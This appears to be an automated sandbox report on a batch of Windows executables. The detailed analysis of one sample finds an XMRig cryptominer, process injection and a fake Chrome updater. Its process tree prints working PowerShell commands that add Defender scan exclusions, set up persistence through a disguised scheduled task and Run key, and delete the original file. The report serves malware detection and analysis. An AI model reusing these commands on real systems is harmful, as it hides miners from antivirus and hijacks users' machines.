Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1783s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
Processes:
UMRsPGc4u9tycx9r.exeupdater.execonhost.exedescription pid process target process PID 380 created 3596 380 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 380 created 3596 380 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 380 created 3596 380 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 380 created 3596 380 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 4340 created 3596 4340 updater.exe Explorer.EXE PID 4340 created 3596 4340 updater.exe Explorer.EXE PID 4340 created 3596 4340 updater.exe Explorer.EXE PID 4144 created 3596 4144 conhost.exe Explorer.EXE PID 4340 created 3596 4340 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral24/memory/3548-127-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-131-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-132-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-134-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-137-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-140-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-142-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-144-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-146-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-148-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-150-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-152-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-154-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-156-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-158-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-160-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-162-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-164-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-166-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-168-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-170-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-172-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-174-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-176-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-178-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-180-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-182-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-184-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-186-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig behavioral24/memory/3548-188-0x00007FF680150000-0x00007FF680944000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 4340 updater.exe -
Processes:
resource yara_rule behavioral24/memory/3548-119-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-127-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-131-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-132-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-134-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-137-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-140-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-142-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-144-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-146-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-148-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-150-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-152-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-154-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-156-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-158-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-160-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-162-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-164-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-166-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-168-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-170-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-172-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-174-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-176-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-178-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-180-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-182-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-184-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-186-0x00007FF680150000-0x00007FF680944000-memory.dmp upx behavioral24/memory/3548-188-0x00007FF680150000-0x00007FF680944000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 4340 set thread context of 4144 4340 updater.exe conhost.exe PID 4340 set thread context of 3548 4340 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
updater.execmd.execmd.exeUMRsPGc4u9tycx9r.exedescription ioc process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe UMRsPGc4u9tycx9r.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
UMRsPGc4u9tycx9r.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 380 UMRsPGc4u9tycx9r.exe 380 UMRsPGc4u9tycx9r.exe 4264 powershell.exe 4264 powershell.exe 380 UMRsPGc4u9tycx9r.exe 380 UMRsPGc4u9tycx9r.exe 4788 powershell.exe 4788 powershell.exe 380 UMRsPGc4u9tycx9r.exe 380 UMRsPGc4u9tycx9r.exe 380 UMRsPGc4u9tycx9r.exe 380 UMRsPGc4u9tycx9r.exe 2428 powershell.exe 2428 powershell.exe 4340 updater.exe 4340 updater.exe 3624 powershell.exe 3624 powershell.exe 4340 updater.exe 4340 updater.exe 5072 powershell.exe 5072 powershell.exe 4340 updater.exe 4340 updater.exe 4340 updater.exe 4340 updater.exe 4144 conhost.exe 4144 conhost.exe 4340 updater.exe 4340 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4264 powershell.exe Token: SeDebugPrivilege 4788 powershell.exe Token: SeIncreaseQuotaPrivilege 4788 powershell.exe Token: SeSecurityPrivilege 4788 powershell.exe Token: SeTakeOwnershipPrivilege 4788 powershell.exe Token: SeLoadDriverPrivilege 4788 powershell.exe Token: SeSystemProfilePrivilege 4788 powershell.exe Token: SeSystemtimePrivilege 4788 powershell.exe Token: SeProfSingleProcessPrivilege 4788 powershell.exe Token: SeIncBasePriorityPrivilege 4788 powershell.exe Token: SeCreatePagefilePrivilege 4788 powershell.exe Token: SeBackupPrivilege 4788 powershell.exe Token: SeRestorePrivilege 4788 powershell.exe Token: SeShutdownPrivilege 4788 powershell.exe Token: SeDebugPrivilege 4788 powershell.exe Token: SeSystemEnvironmentPrivilege 4788 powershell.exe Token: SeRemoteShutdownPrivilege 4788 powershell.exe Token: SeUndockPrivilege 4788 powershell.exe Token: SeManageVolumePrivilege 4788 powershell.exe Token: 33 4788 powershell.exe Token: 34 4788 powershell.exe Token: 35 4788 powershell.exe Token: 36 4788 powershell.exe Token: SeIncreaseQuotaPrivilege 4788 powershell.exe Token: SeSecurityPrivilege 4788 powershell.exe Token: SeTakeOwnershipPrivilege 4788 powershell.exe Token: SeLoadDriverPrivilege 4788 powershell.exe Token: SeSystemProfilePrivilege 4788 powershell.exe Token: SeSystemtimePrivilege 4788 powershell.exe Token: SeProfSingleProcessPrivilege 4788 powershell.exe Token: SeIncBasePriorityPrivilege 4788 powershell.exe Token: SeCreatePagefilePrivilege 4788 powershell.exe Token: SeBackupPrivilege 4788 powershell.exe Token: SeRestorePrivilege 4788 powershell.exe Token: SeShutdownPrivilege 4788 powershell.exe Token: SeDebugPrivilege 4788 powershell.exe Token: SeSystemEnvironmentPrivilege 4788 powershell.exe Token: SeRemoteShutdownPrivilege 4788 powershell.exe Token: SeUndockPrivilege 4788 powershell.exe Token: SeManageVolumePrivilege 4788 powershell.exe Token: 33 4788 powershell.exe Token: 34 4788 powershell.exe Token: 35 4788 powershell.exe Token: 36 4788 powershell.exe Token: SeIncreaseQuotaPrivilege 4788 powershell.exe Token: SeSecurityPrivilege 4788 powershell.exe Token: SeTakeOwnershipPrivilege 4788 powershell.exe Token: SeLoadDriverPrivilege 4788 powershell.exe Token: SeSystemProfilePrivilege 4788 powershell.exe Token: SeSystemtimePrivilege 4788 powershell.exe Token: SeProfSingleProcessPrivilege 4788 powershell.exe Token: SeIncBasePriorityPrivilege 4788 powershell.exe Token: SeCreatePagefilePrivilege 4788 powershell.exe Token: SeBackupPrivilege 4788 powershell.exe Token: SeRestorePrivilege 4788 powershell.exe Token: SeShutdownPrivilege 4788 powershell.exe Token: SeDebugPrivilege 4788 powershell.exe Token: SeSystemEnvironmentPrivilege 4788 powershell.exe Token: SeRemoteShutdownPrivilege 4788 powershell.exe Token: SeUndockPrivilege 4788 powershell.exe Token: SeManageVolumePrivilege 4788 powershell.exe Token: 33 4788 powershell.exe Token: 34 4788 powershell.exe Token: 35 4788 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid process target process PID 4444 wrote to memory of 1828 4444 cmd.exe choice.exe PID 4444 wrote to memory of 1828 4444 cmd.exe choice.exe PID 2428 wrote to memory of 4280 2428 powershell.exe schtasks.exe PID 2428 wrote to memory of 4280 2428 powershell.exe schtasks.exe PID 4340 wrote to memory of 4144 4340 updater.exe conhost.exe PID 3796 wrote to memory of 312 3796 cmd.exe WMIC.exe PID 3796 wrote to memory of 312 3796 cmd.exe WMIC.exe PID 4340 wrote to memory of 3548 4340 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3596
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:380
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4264
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4788
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:4280
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3624
